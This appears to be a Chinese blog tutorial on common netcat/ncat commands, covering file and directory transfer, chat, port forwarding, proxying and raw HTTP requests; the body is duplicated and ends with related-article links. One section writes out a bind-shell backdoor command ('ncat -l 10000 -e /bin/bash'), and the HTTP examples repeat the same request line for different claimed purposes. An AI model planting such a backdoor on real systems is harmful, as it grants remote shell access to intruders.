netcat瑞士军刀开发中常用的命令
2018-01-14 17:00
225 查看
nc/ncat基本格式:nc [-options] hostname port[s] [ports] ...
nc/cat常用参数配置,可以用ncat -h显示所有nc的参数和使用说明。
1.ncat常被用来远程拷贝文件
nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,server2上运行:
[robot@hadoop102 ~]$ nc -lp 1234 > nc.txt
server1上运行:
[robot@hadoop101 ~]$ nc -w 1 192.168.1.102 1234 < nc.txt
注意:端口和ip地址之间直接用的空格,而不是Ip:port的形式,和实际网络传输中URL不同。 -w 1 ,是timeout事件,具体参数意思,参考上一篇博客。
2.将 nc 作为聊天工具
nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:
随便一台主机上运行:$ ncat -l 8080
在远程客户端主机上运行:
$ ncat 192.168.1.101 8080
之后开始发送消息,这些消息会在服务器终端上显示出来。但是只能交互简单的文本文件。
3. 使用 -k 选项强制 nc 待命
当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。
命令如下:
$ ncat -l -k 8080
4.设置连接超时
nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:
$ ncat -w 10 192.168.1.100 8080
这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。
5.通过 nc 进行端口转发
我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:
$ ncat -u -l 80 -c 'ncat -u -l 8080'
这样,所有连接到 80 端口的连接都会转发到 8080 端口。
6.通过 nc 创建后门
nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:
$ ncat -l 10000 -e /bin/bash
-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
$ ncat 192.168.1.100 10000
7.将 nc 作为代理
nc 也可以用来做代理。比如下面这个例子,
$ ncat -l 8080 | ncat 192.168.1.101 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.101上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:
$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.101 80 1>2way
8.连接远程系统
使用下面命令可以用 nc 来连接远程系统,
$ ncat IP_address port_number
让我们来看个例子,
$ ncat 192.168.1.100 80
这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容
GET / HTTP/1.1
或者获取页面名称,
GET / HTTP/1.1
或者我们可以通过以下方式获得操作系统指纹标识,
GET / HTTP/1.1
这会告诉我们使用的是什么软件来运行这个 web 服务器的。
9.传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
# nc -l 1234 |tar xzvf -
server1上运行:# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234
nc/cat常用参数配置,可以用ncat -h显示所有nc的参数和使用说明。
1. -4 强制使用ipv4 2. -6 强制使用ipv6 3. -D 允许socket通信返回debug信息 4. -d 不允许从标准输入中读取 5. -h 显示nc帮助文档 6. -i interval 7. 指定每行之间内容延时发送和接受,也可以使多个端口之间的连接延时 8. -k 当一个连接结束时,强制nc监听另一个连接。必须和-l一起使用 9. -l 用于监听传入的数据链接,不能与-p -z -s一起使用。-w 参数的超时也会被忽略 10. -n 不执行任何地址,主机名,端口或DNS查询 11. -p 指定nc使用的源端口,受权限限制且不能余-l一起使用 12. -r 指定nc使用的源端口和目的端口,不能使用系统原来就指定的那些端口 13. -S 允许在RFC 2385的TCP MD5签名选项 14. -s source_ip_address 15. 指定用于发包的接口的IP地址,不能和-l一起使用 16. -T ToS 17. 指定链接的IP服务类型(TOS) 18. -C 自动换行 19. -t 使nc能够与telnet交互 20. -U 使用UNIX域socket 21. -u 使用udp代替默认的tcp选项 22. -v 输出详细报告 23. -w timeout 24. 一个链接一段时间无操作,则自动断开,默认无超时 25. -X proxy_version 26. 指定nc使用代理时所采用的协议,可选的有socksv4,socks5以及https。默认socks5 27. -x proxy_address[:port] 28. 指定nc使用的代理地址和端口。默认设置:1080(SOCKS),3128(HTTPS) 29. -z 只监听不发送任何包
1.ncat常被用来远程拷贝文件
nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。
从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,server2上运行:
[robot@hadoop102 ~]$ nc -lp 1234 > nc.txt
server1上运行:
[robot@hadoop101 ~]$ nc -w 1 192.168.1.102 1234 < nc.txt
注意:端口和ip地址之间直接用的空格,而不是Ip:port的形式,和实际网络传输中URL不同。 -w 1 ,是timeout事件,具体参数意思,参考上一篇博客。
2.将 nc 作为聊天工具
nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:
随便一台主机上运行:$ ncat -l 8080
在远程客户端主机上运行:
$ ncat 192.168.1.101 8080
之后开始发送消息,这些消息会在服务器终端上显示出来。但是只能交互简单的文本文件。
3. 使用 -k 选项强制 nc 待命
当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。
命令如下:
$ ncat -l -k 8080
4.设置连接超时
nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:
$ ncat -w 10 192.168.1.100 8080
这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。
5.通过 nc 进行端口转发
我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:
$ ncat -u -l 80 -c 'ncat -u -l 8080'
这样,所有连接到 80 端口的连接都会转发到 8080 端口。
6.通过 nc 创建后门
nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:
$ ncat -l 10000 -e /bin/bash
-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
$ ncat 192.168.1.100 10000
7.将 nc 作为代理
nc 也可以用来做代理。比如下面这个例子,
$ ncat -l 8080 | ncat 192.168.1.101 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.101上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:
$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.101 80 1>2way
8.连接远程系统
使用下面命令可以用 nc 来连接远程系统,
$ ncat IP_address port_number
让我们来看个例子,
$ ncat 192.168.1.100 80
这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容
GET / HTTP/1.1
或者获取页面名称,
GET / HTTP/1.1
或者我们可以通过以下方式获得操作系统指纹标识,
GET / HTTP/1.1
这会告诉我们使用的是什么软件来运行这个 web 服务器的。
9.传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
# nc -l 1234 |tar xzvf -
server1上运行:# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234
相关文章推荐
- linux开发中常用的工具之netcat(nc瑞士军刀)
- Linux Netcat 命令——网络工具中的瑞士军刀
- Linux Netcat 命令——网络工具中的瑞士军刀
- EBS开发常用编译命令
- B/S系统快速开发平台中数据库Oracleo常用命令
- sharepoint站点Feature的定制与开发 以及 stsadm 常用命令
- Linux开发环境搭建与使用——Linux 常用命令的使用
- 【iOS】开发常用命令
- Ubuntu下开发一些常用命令
- android开发常用命令总结
- git常用命令,协同开发
- 软件开发中常用的linux命令,持续更新~~~~~~
- Android开发调试常用命令
- XL1常用开发命令详细记录
- Android开发常用命令行
- Memcached常用命令及使用说明——netcat
- 【Linux】Linux开发中的常用命令
- [绍棠] iOS开发常用的调试命令
- linux常用命令集合(初级开发及实施方面)
- 作为基础开发人员必须掌握的linux常用命令